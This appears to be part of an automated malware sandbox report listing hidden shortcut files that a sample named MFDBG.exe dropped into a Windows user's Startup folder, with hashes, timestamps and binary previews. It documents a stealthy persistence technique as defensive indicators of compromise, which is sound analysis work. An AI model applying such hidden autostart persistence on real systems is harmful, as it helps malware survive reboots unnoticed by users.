Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0752aff04a142b9b3461178cc43c1e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939420613273206
Encrypted:	false
SSDEEP:	24:8mPhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mTR0R6rMhpBoUBxdRd1nYyg
MD5:	0018D8C70FC1A70B0D63A522F560AC05
SHA1:	1818D1EC9EB81CEF6A9034F264375716B61E54BF
SHA-256:	6488E4A7FEB7FAC7045E09F558DC42785C72F8B235C9CB10C8D67691D494C7A4
SHA-512:	D6722D5C7F5238F1A80E8323A4EA58B0FE934C4D7FA22A7273111F0F5F5FDABBF9B6E2EE6AD33FAD29626D6B7336818B21958F63E76357AE4631E07292E46930
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a09e8b29d0b94ca6adffee53b1a4df39.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936254421164451
Encrypted:	false
SSDEEP:	24:8DGhBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8DMt0R6rMhpBoUBxdRd1nYyg
MD5:	A54E94CF0599DA2FF9CE454EE9E6CA4B
SHA1:	09080FB70CA43DA41801037CB59D92E6DA99A2D8
SHA-256:	96583B262B1069FCAE42EBB06B155B9347945F04078D6F461DA477CA2AC208C7
SHA-512:	D6C95EE64539280FCF2FEA7D18BA84454534BDB929C3F52B12E1FB4A1F7EFA33E88B040D99414696D1C3B37978B8143DA39A2046FF91E2FAA91623945BA492AE
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....&..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a1029863047944d1b20165e73849f140.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152355
Encrypted:	false
SSDEEP:	24:8ohBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qF0R6rMhpBoUBxdRd1nYyg
MD5:	378AA6D26B29B6A354A8CFBA63617E17
SHA1:	712F5A25B7048BAFF12D946BBA488A8875F4D2EF
SHA-256:	FFE86547EB73A033CC036B42BECCD8DBC36E4A792010B2BDAF6A6AB24592848A
SHA-512:	3A833636DED87ECA8FC42AA15D7DE2D76989496C7E0C29E00D06767CBDB3281A461A6EA48A4C7B8175B08E489109498EDDC5608BFB8878C41D160DC4D6CFFB7E
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a12c220d98064efea769272a4c478bf1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936328300494061
Encrypted:	false
SSDEEP:	24:8DhBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8330R6rMhpBoUBxdRd1nYyg
MD5:	2CAE58E5628DE2A3E920A0064C125FFA
SHA1:	D8E5CC851F3F5A5F1A19C77908AD946565D5611E
SHA-256:	815A33F16C7B6D816B1563FE2F19503E2EC222379A659F0B0B440E61A11FFB3C
SHA-512:	230690F9BDF505B187127B4875A689870DB9137CC74142AA0856DB55E05401DB67812224A1594F4F111061B970E2A6B0549086E9573EF16AA92BFAAC83F107EB
Malicious:	false
Preview:	L..................F...."...]W%.{.....?.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a1935dcbc3e448a1b11e3a8edf2e1b29.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942205863897635
Encrypted:	false
SSDEEP:	24:8LhBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vPT0R6rMhpBoUBxdRd1nYyg
MD5:	A2B364C94EC39341D4EE38A4D49EDC7B
SHA1:	DE4A5AB4ADF728069CD4FDC8E8822A33E668138D
SHA-256:	3C7F853F5D1EC81434DDEE3061C2826ED83DA87E7C0538742534EC8219178985
SHA-512:	4806129CF5C2FFC448C64DBE5171FC4C60C72A5ACF27C3FD21ED73654AD4CA3A8ADE9155F899A0818167E1641AACA20C5D53D1A79AAAFB7B0AC57BA72D45D237
Malicious:	false
Preview:	L..................F...."...]W%.{...vRK.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a1b9a061317f42338cb95985a24a3681.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935841752726613
Encrypted:	false
SSDEEP:	24:8VhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Fs0R6rMhpBoUBxdRd1nYyg
MD5:	BCF914869FFC6194A73BFA51B8FCCCC3
SHA1:	0727627187AFEA1E9D266E188B2517A2E26F1F54
SHA-256:	0CCE9485AEDDB9C98E3A6CFB97ED9384C03192B74C1806A51006A1A9FB99EABE
SHA-512:	53AE0E78597632A16EDB599B66A49F31CE773F6A1D9384465DF19EFAFDA5B69066E4D8D19970483D713783FB59935D519B954453FF31121C34A6C0607E2A33B8
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a23d152fd6a84c319d9f126381af6aef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592386
Encrypted:	false
SSDEEP:	24:8hhBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Rm0R6rMhpBoUBxdRd1nYyg
MD5:	0E0B537FB19E64E92F546B026BCCACE4
SHA1:	593D0789A888F8820B5F76FC0599CC03BA39161A
SHA-256:	C717488F5D4789831821F1D004808E6342D5D1E768AFBBC61F7C3CFBEF17459D
SHA-512:	DDA570467144F454F11EF59CF4B8AB6AD2476E5F42FCEE466914173E3C693FDD55F82B54A36E946D17F92E6B393BF62562E95C582F918D7D405D6D3F03222D6B
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a247d05953994bc4aca6775896188771.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926346833060632
Encrypted:	false
SSDEEP:	24:8MGhBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MMud0R6rMhpBoUBxdRd1nYyg
MD5:	5555FF3ABC890C68C37B0E2EB67456C3
SHA1:	81D9FE7657C5B4C1002FAC862DA1B3E00804BDD8
SHA-256:	E96B2FD5AF825C7CAAC1A15748D081E005BC08C58B40C6974341B933DDA66DCF
SHA-512:	D03E979F416502433BEC6F7609FB215420ADCA706F5E9C93E0C1E1F73AECBE5474BC4FBE0945B1683741129E0F5940ECD59B78FBC252AB2A5FB3403E67021266
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2886683de244325be147c05fd99a7a2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9352646408041005
Encrypted:	false
SSDEEP:	24:8ehBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80s0R6rMhpBoUBxdRd1nYyg
MD5:	91261B14613557F4F5FFFF5FE075B3DA
SHA1:	4EF943F70D305231645FF70E01AD8A4A93C885C5
SHA-256:	1E3CEAC662EB930F1D3272F2F65D39FF5124674228D701828CCF65E7432356B8
SHA-512:	A06580360D2F73B33BCA1C5D3457F411B3712184CA11267772E991F848EC09A3EB1369434CAB9E369631CE50EF20FB3A4E62A4FEFA37DDB102E973DBF890D698
Malicious:	false
Preview:	L..................F...."...]W%.{...y3..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a31dbc9ee44d4bf99dc011da76dfd938.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942637780193382
Encrypted:	false
SSDEEP:	24:88hBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8OK0R6rMhpBoUBxdRd1nYyg
MD5:	9CE8B93FF8CF8323467C42D301AF6509
SHA1:	7C0868CB606D590A5785774B513D0E202EB9465D
SHA-256:	3D46092A5B7774E31E1CAD9478DFE4954701C01AAC660550A8E8A94BE988517D
SHA-512:	5B54EBD1F1519F11A41F929B32E517D3C974E9C8F12B6A0BEF9704AA594113A2E794927BC8DCEAD01A6CD2D545069F803567E19A315480F10FAB1E4C0E0469A0
Malicious:	false
Preview:	L..................F...."...]W%.{.....R.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#B.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a32e812738254e43be67f547c7b740fa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938137769925787
Encrypted:	false
SSDEEP:	24:8AhBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Sl0R6rMhpBoUBxdRd1nYyg
MD5:	61C6B48509D9CAA5CBFAA7DD51BBE0F7
SHA1:	6FDA93E6FF4F05614530885D3B1D9BBD6510842D
SHA-256:	5B885B40966010CECD4AEF7DF46955CF315C83B7C41821D21699A5C1DE05D633
SHA-512:	C112CCD826255AA7945470BFAF92E43ACD12B4E7962A39AD194F281036804B68F8639C27C68251B017D081F0F746AD9CEC554B5511CB345556E843BE6F94A1DF
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a344987f50164839be3abb7ccd59a908.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933000387301571
Encrypted:	false
SSDEEP:	24:8wS2hBfZ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8LcG0R6rMhpBoUBxdRd1nYyg
MD5:	8C6C7FE35C02F5D5557E18DF88D81A7F
SHA1:	E9C0971CEB091B84AC582ED23834E4C9706EFFBD
SHA-256:	EC90EE5EB72B628D1BFA26C290B37F49EB39F939EB0C5C5C7959C4C8A6834D0D
SHA-512:	1DED4530960A12FC44E73BCBE0B39AB6A1AD2E8FC8471E5E388837846D785084F5C95B68C08E487543DF99AA2066CB888357E632FBFE49E1EB4CE00C6312DE45
Malicious:	false
Preview:	L..................F...."...]W%.{.....<.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....0.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a3de48b2c91f45cc867d4b2b2c9c15a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942388071911309
Encrypted:	false
SSDEEP:	24:8PhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8TW0R6rMhpBoUBxdRd1nYyg
MD5:	7EC489CD9E817ED5C1865B33EE24DC17
SHA1:	F21C3BFBC791F47410FCA56A48E35F38402546F8
SHA-256:	362FF2141A4069DE5F689DFA62293481FF903C9A097EFF38DB46576EC5666AFB
SHA-512:	48BA0B0AA23F8791A133CD2E56B10E077947A9CE7B00F2091C24FF76D3FD9BE63A16FB430066FD5462AFF95D8DAAE5D6E4548D8FC04BDF642F2A5B48EE40B818
Malicious:	false
